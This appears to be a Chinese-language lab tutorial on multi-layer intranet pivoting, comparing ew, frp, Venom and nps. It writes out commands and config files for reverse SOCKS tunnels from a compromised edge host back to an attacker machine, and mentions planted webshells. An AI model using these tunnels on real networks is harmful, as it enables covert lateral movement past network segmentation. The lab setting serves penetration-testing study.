內網滲透 | 內網穿透之多層代理
前言
平時看大部分文章都是講的兩層網絡的穿透,在真實場景下,有時候是三層甚至四層,自己實踐之后發現還是和兩層網絡差距比較大的。由于是三層網絡,寫起來圖會比較多,選取了四款常用穿透軟件:ew,nps,frp,venom進行試驗。
環境搭建
拓撲圖如下:

192.168.1.0/24模擬公網環境。
每臺PC上都有一個web服務,內網主機除邊緣win7外全部不出網,內網同網段之間的主機可以相互訪問,不同網段相互隔離。
假設現在已經拿到邊緣主機win7。(文中所指的win2012全部指左邊這臺)
由于環境中途崩了一次,從Venom開始ip有所變化,請見諒。
ew
先看下出不出網,ping一下win7發現是出網的,這種就可以使用反向連接。
將ew上傳至邊緣機器。

在攻擊機上執行:
ew_for_Win.exe -s rcsocks -l 1080 -e 1234

在邊緣機器上執行:
ew_for_Win.exe -s rssocks -d 192.168.1.104 -e 1234
這時候回來看攻擊機,就已經成功了。

給瀏覽器設置一個代理,即可訪問內網web。


經過一系列操作,我們又寫入了一個shell。同樣這里需要開啟蟻劍代理。


查看192.168.183.134這臺主機是否出網,結果是不出網。

由于需要執行命令,我們得保證一級代理不能掉。所以這里我用了兩個webshell工具,蟻劍和冰蝎。
蟻劍關閉代理,冰蝎開啟sock5代理1080端口,冰蝎去連192.168.183.134這臺不出網主機,蟻劍連接邊緣機器192.168.1.110。
攻擊機另起一個cmd,執行命令:
ew_for_Win.exe -s lcx_listen -l 3080 -e 8888
注意這里的端口不要和剛剛1080端口重合。
不出網主機win2012執行命令:
ew_for_Win.exe -s ssocksd -l 9999

這里沒回顯是正常的,但要保證一級代理不能掉。
再通過邊緣機器打通192.168.1.110:8888 和 192.168.183.134:9999 之間的通訊隧道
ew_for_Win.exe -s lcx_slave -d 192.168.1.104 -e 8888 -f 192.168.183.134 -g 9999


這里同樣的瀏覽器再掛個代理就可以了。


再拿webshell工具去連的話就另外再掛個3080代理就行了。

frp
攻擊機配置frps.ini文件
[common] bind_port = 7000
邊緣機器配置frpc.ini
[common] server_addr = 192.168.1.104 server_port = 7000 [http_proxy] type = tcp plugin=socks5 remote_port = 6000
攻擊機執行命令
frps.exe -c frps.ini

邊緣機器執行命令
frpc.exe ‐c frpc.ini

瀏覽器掛代理訪問6000端口即可

拿到win2012的webshell權限后,準備進一步代理到192.168.57.0/24。一級代理不要掉。
攻擊機配置frps.ini
[common]bind_addr = 0.0.0.0bind_port = 7788

邊緣主機win7配置frps.ini
[common]bind_addr = 192.168.183.131 bind_port = 7799

同時配置win7主機上frpc.ini
[common]server_addr = 192.168.1.104 server_port = 7788 [http_proxy]type = tcplocal_ip = 192.168.183.131 local_port = 1080 remote_port = 1080


同樣上傳frp到win2012上,配置frpc.ini
[common]server_addr = 192.168.183.131 server_port = 7799 [http_proxy]type = tcpremote_port = 1080 plugin = socks5

執行frpc.exe ‐c frpc.ini,這里都是沒什么回顯。
設置代理1080


同樣的寫入shell之后webshell工具連接掛個代理就行了。


Venom
此時ip發生變化:
?win7:192.168.183.138 192.168.1.109
?win2012:192.168.183.139 192.168.57.136
?核心機器win2012:192.168.57.137
攻擊機上執行
admin.exe -lport 9999

邊緣主機win7上執行
agent.exe -rhost 192.168.1.104 -rport 9999

回到攻擊機器上就已經有了連接。

然后執行命令,將流量代理到7777端口
goto 1socks 7777



這時win2012就可以訪問了
通過冰蝎走代理,將agent.exe上傳至win2012。

在攻擊機上讓節點一進行監聽,也就是在邊緣機器win7上等待win2012連接。

在win2012上執行命令連接win7:
agent.exe -rhost 192.168.183.138 -rport 9998

這時在攻擊機上使用show命令,查看節點,就可以發現已經有兩個節點,選擇節點2,并socks代理到本機9998端口。




Nps
這個工具我還是第一次用,由于有圖形化界面,感覺這個工具還比較好用,不像frp要去目標機器配置文件,也比ew更加穩定。
首先去官網下載nps和npc:https://github.com/ehang-io/nps/releases
這里我都是windows64位,下載這兩個就可以了。

直接執行nps.exe(要注意端口,被占用了就修改conf文件)

然后訪問127.0.0.1:8080,如果是vps上起的話就訪問vps:8080,默認密碼admin/123。登錄后點擊右側客戶端,然后新增:

這里可填可不填,留空的話會自動生成密匙,等會拿這個密匙來讓邊緣主機win7連接攻擊機器。
這里ID和密匙等會要用。

點擊右側socks代理,新增。ID為上面的id,端口填一個沒有被占用的端口就好了,保存后server就配置完畢了。

將npc上傳至邊緣機器win7,并執行命令:
npc.exe -server=ip:port -vkey=服務端生成的key
這里的port默認是8024,如果修改過nps.conf中的端口就是修改過后的端口,key就是上面服務端的密鑰。

執行后可以看到連接已經變成在線,這時候就已經代理好了。

瀏覽器掛個代理或者用Proxifier都是可以的,前面因為一直都是用的瀏覽器這里還是用下Proxifier。
新增代理規則如下


做二層代理時候想了很久,翻遍全網都沒有一個案例,我的想法是kali上去開一個nps服務端,然后msf添加路由,這是一種方式。
還有就是3389遠程去連邊緣主機win7,但是這樣操作太敏感了。官方文檔有如下這樣的說明,但是沒找到參數怎么用,這里就用3389勉強試一下,希望有懂的表哥指點。初次體驗nps感覺不是很好,如果是只做一層代理還是可以。

經過一系列代理操作還是在win7邊緣主機訪問到win2012核心機器

總結
個人覺得Venom是對新手最友好的,并且多層代理還比較方便,兩層三層都比較容易上手,然后就是nps,有圖形化界面還是不錯的。frp比較穩定,但是要配置ini文件比較麻煩。ew穩定性又差一點。總的來說就是各有所長吧,在真實環境中要根據不同的情況使用不同的方案。